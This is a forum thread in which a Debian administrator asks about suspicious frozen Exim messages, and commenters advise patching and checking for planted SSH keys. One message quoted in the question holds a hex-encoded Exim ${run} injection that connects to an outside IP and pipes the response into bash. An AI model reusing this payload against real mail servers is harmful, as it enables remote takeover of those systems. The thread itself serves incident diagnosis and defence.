0

Recently, I began to receive similar frozen messages. I have a Debian GNU / Linux server 8.10 Exim version 4.84_2. Everyone reports that this version is not confirmed by attacks, however I get the following messages:

root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22\x65\x78\x65\x63\x20\x35\x3c\x3e\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x35\x31\x2e\x31\x35\x2e\x35\x36\x2e\x31\x36\x31\x2f\x34\x34\x33\x3b\x65\x63\x68\x6f\x20\x2d\x65\x20\x27\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x5c\x6e\x27\x20\x3e\x26\x35\x3b\x74\x61\x69\x6c\x20\x2d\x6e\x20\x2b\x31\x31\x20\x3c\x26\x35\x20\x7c\x20\x62\x61\x73\x68\x22\x20\x26}}@localhost

I do not have in the system of suspicious processes and running cron jobs. What do you recommend to do in this case? I will be very grateful for valuable advice.

Can I upgrade exim to version 4.92 and how to do it on debian 8?

13
  • 2
    You should have already installed the security update! Stop reading this and do that now. Jun 24, 2019 at 7:25
  • debian.org/security/2019/dsa-4456
    – Gerrit
    Jun 24, 2019 at 8:21
  • But I'm already using the later version exim 4.84.2-2+deb8u5 for debian 8 jessie
    – sysadm92
    Jun 24, 2019 at 8:29
  • Yes, it seems that this is flying under the radar of the jessie LTS support, and you are definitely being hit by the exploits. If you have a default Exim that does not relay messages, then you cannot somewhat alleviate the problem by restarting the service every 24 hours as the known exploit needs an open connection for several days. If you use it for relaying then it is an even bigger problem. You would have to empty the queues for held messages every day also.
    – Gerrit
    Jun 24, 2019 at 8:46
  • Also inspect /root/.ssh for recently created keys as this seems a common automated attack drop.
    – Gerrit
    Jun 24, 2019 at 9:07

0

You must log in to answer this question.

Browse other questions tagged .